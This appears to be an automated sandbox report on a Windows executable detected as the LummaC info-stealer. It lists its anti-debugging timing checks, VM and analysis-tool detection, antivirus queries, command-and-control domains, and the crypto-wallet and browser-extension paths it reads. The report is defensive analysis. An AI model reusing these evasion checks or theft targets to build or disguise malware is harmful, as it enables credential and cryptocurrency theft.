Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5320482 second address: 5320488 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5320488 second address: 532048C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 532048C second address: 53204AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5060E412F3h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 53204AA second address: 53204B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 53204B0 second address: 53204F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5060E412EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c jmp 00007F5060E412F6h 0x00000011 xchg eax, ebx 0x00000012 jmp 00007F5060E412F0h 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov edi, ecx 0x0000001d mov esi, 304AFD4Fh 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 53204F5 second address: 5320514 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5060CC42D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5320514 second address: 532051B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 532051B second address: 532052A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5060CC42CBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5320555 second address: 5320559 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5320559 second address: 532055F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 532055F second address: 5320565 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5320565 second address: 5320569 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5320569 second address: 532056D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 532098C second address: 53209A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5060CC42D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 53209A7 second address: 5320A21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5060E412EFh 0x00000009 xor cx, 0A4Eh 0x0000000e jmp 00007F5060E412F9h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F5060E412F0h 0x0000001a or cx, 76C8h 0x0000001f jmp 00007F5060E412EBh 0x00000024 popfd 0x00000025 popad 0x00000026 pop edx 0x00000027 pop eax 0x00000028 push eax 0x00000029 jmp 00007F5060E412F9h 0x0000002e xchg eax, ebp 0x0000002f pushad 0x00000030 mov si, 38C3h 0x00000034 pushad 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5320A21 second address: 5320A4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov ebp, esp 0x00000008 pushad 0x00000009 mov al, dl 0x0000000b mov ecx, 02C54D0Fh 0x00000010 popad 0x00000011 cmp dword ptr [75AB459Ch], 05h 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F5060CC42D1h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5320A4C second address: 5320A8F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5060E412F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F50D156F284h 0x0000000f jmp 00007F5060E412EEh 0x00000014 pop ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F5060E412F7h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5330B20 second address: 5330B38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5060CC42D4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5330B38 second address: 5330B3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5330B3C second address: 5330B74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jmp 00007F5060CC42CCh 0x0000000e mov dword ptr [esp], ebp 0x00000011 pushad 0x00000012 call 00007F5060CC42CEh 0x00000017 pop ebx 0x00000018 push esi 0x00000019 mov edi, 39DFC980h 0x0000001e pop edi 0x0000001f popad 0x00000020 mov ebp, esp 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5330B74 second address: 5330B78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5330B78 second address: 5330B7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5330B7C second address: 5330B82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5330B82 second address: 5330B88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5330B88 second address: 5330B8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5330B8C second address: 5330BEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 jmp 00007F5060CC42CEh 0x0000000e push eax 0x0000000f jmp 00007F5060CC42CBh 0x00000014 xchg eax, esi 0x00000015 jmp 00007F5060CC42D6h 0x0000001a mov esi, dword ptr [ebp+0Ch] 0x0000001d jmp 00007F5060CC42D0h 0x00000022 test esi, esi 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 call 00007F5060CC42CDh 0x0000002c pop esi 0x0000002d mov dh, 37h 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5330BEF second address: 5330C11 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5060E412F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F50D155EA97h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5330C11 second address: 5330C18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5330C18 second address: 5330C1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5330C1E second address: 5330C22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5330C22 second address: 5330C44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [75AB459Ch], 05h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F5060E412F1h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5330D5B second address: 5330D6E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5060CC42CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5330D6E second address: 5330D74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5330D74 second address: 5330D78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5330D78 second address: 5330D7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Special instruction interceptor: First address: D18B34 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Special instruction interceptor: First address: EB1F73 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Special instruction interceptor: First address: EDAC4D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Special instruction interceptor: First address: EC3598 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Special instruction interceptor: First address: D18A92 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Special instruction interceptor: First address: F37B78 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe TID: 5444	Thread sleep time: -330000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe TID: 508	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: XYQ1pqHNiT.exe, 00000000.00000002.1533767056.0000000000E95000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: XYQ1pqHNiT.exe, 00000000.00000003.1366903864.0000000005D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: XYQ1pqHNiT.exe, 00000000.00000003.1366903864.0000000005D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: XYQ1pqHNiT.exe, 00000000.00000003.1366903864.0000000005D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: XYQ1pqHNiT.exe, 00000000.00000003.1366903864.0000000005D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: XYQ1pqHNiT.exe, 00000000.00000003.1366903864.0000000005D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: XYQ1pqHNiT.exe, 00000000.00000003.1366903864.0000000005D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: XYQ1pqHNiT.exe, 00000000.00000003.1366903864.0000000005D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: XYQ1pqHNiT.exe, 00000000.00000003.1366903864.0000000005D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: XYQ1pqHNiT.exe, 00000000.00000003.1366903864.0000000005D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: XYQ1pqHNiT.exe, 00000000.00000003.1366903864.0000000005D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: XYQ1pqHNiT.exe, XYQ1pqHNiT.exe, 00000000.00000003.1520525272.0000000001535000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1533389237.0000000001535000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1317023238.0000000001535000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1317023238.000000000154A000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437664420.000000000153E000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1459853456.0000000001546000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000002.1534318851.00000000014F8000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1533229320.00000000014F8000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1432222769.0000000001549000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000002.1534449662.000000000154A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: XYQ1pqHNiT.exe, 00000000.00000003.1366903864.0000000005D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: XYQ1pqHNiT.exe, 00000000.00000003.1366903864.0000000005D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: XYQ1pqHNiT.exe, 00000000.00000003.1366903864.0000000005D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: XYQ1pqHNiT.exe, 00000000.00000003.1366903864.0000000005D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: XYQ1pqHNiT.exe, 00000000.00000003.1366903864.0000000005D48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: XYQ1pqHNiT.exe, 00000000.00000003.1366903864.0000000005D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: XYQ1pqHNiT.exe, 00000000.00000003.1366903864.0000000005D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: XYQ1pqHNiT.exe, 00000000.00000003.1366903864.0000000005D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: XYQ1pqHNiT.exe, 00000000.00000003.1366903864.0000000005D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: XYQ1pqHNiT.exe, 00000000.00000003.1366903864.0000000005D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: XYQ1pqHNiT.exe, 00000000.00000003.1366903864.0000000005D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: XYQ1pqHNiT.exe, 00000000.00000003.1366903864.0000000005D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: XYQ1pqHNiT.exe, 00000000.00000003.1366903864.0000000005D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: XYQ1pqHNiT.exe, 00000000.00000003.1366903864.0000000005D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: XYQ1pqHNiT.exe, 00000000.00000003.1366903864.0000000005D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: XYQ1pqHNiT.exe, 00000000.00000003.1366903864.0000000005D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: XYQ1pqHNiT.exe, 00000000.00000003.1366903864.0000000005D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: XYQ1pqHNiT.exe, 00000000.00000003.1366903864.0000000005D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: XYQ1pqHNiT.exe, 00000000.00000002.1533767056.0000000000E95000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: XYQ1pqHNiT.exe, 00000000.00000003.1366903864.0000000005D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: XYQ1pqHNiT.exe, 00000000.00000003.1366903864.0000000005D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: XYQ1pqHNiT.exe, 00000000.00000003.1366903864.0000000005D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: XYQ1pqHNiT.exe, 00000000.00000003.1366903864.0000000005D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: NTICE
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: SICE
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: XYQ1pqHNiT.exe, 00000000.00000002.1533702039.0000000000CC1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: hummskitnj.buzz
Source: XYQ1pqHNiT.exe, 00000000.00000002.1533702039.0000000000CC1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: cashfuzysao.buzz
Source: XYQ1pqHNiT.exe, 00000000.00000002.1533702039.0000000000CC1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: appliacnesot.buzz
Source: XYQ1pqHNiT.exe, 00000000.00000002.1533702039.0000000000CC1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: screwamusresz.buzz
Source: XYQ1pqHNiT.exe, 00000000.00000002.1533702039.0000000000CC1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: inherineau.buzz
Source: XYQ1pqHNiT.exe, 00000000.00000002.1533702039.0000000000CC1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: scentniej.buzz
Source: XYQ1pqHNiT.exe, 00000000.00000002.1533702039.0000000000CC1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: rebuildeso.buzz
Source: XYQ1pqHNiT.exe, 00000000.00000002.1533702039.0000000000CC1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: prisonyfork.buzz
Source: XYQ1pqHNiT.exe, 00000000.00000002.1533702039.0000000000CC1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: mindhandru.buzz

Source: XYQ1pqHNiT.exe, 00000000.00000002.1533767056.0000000000E95000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: AProgram Manager

Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: XYQ1pqHNiT.exe, 00000000.00000002.1534449662.000000000154A000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1481936231.000000000154A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: les%\Windows Defender\MsMpeng.exe
Source: XYQ1pqHNiT.exe, XYQ1pqHNiT.exe, 00000000.00000003.1459853456.0000000001546000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1533350101.0000000005CFD000.00000004.00000800.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1463978977.0000000001543000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000002.1536403290.0000000005CFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: XYQ1pqHNiT.exe PID: 3732, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: XYQ1pqHNiT.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: XYQ1pqHNiT.exe	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: XYQ1pqHNiT.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: XYQ1pqHNiT.exe	String found in binary or memory: window-state.json
Source: XYQ1pqHNiT.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: XYQ1pqHNiT.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: XYQ1pqHNiT.exe	String found in binary or memory: %appdata%\Ethereum
Source: XYQ1pqHNiT.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: XYQ1pqHNiT.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
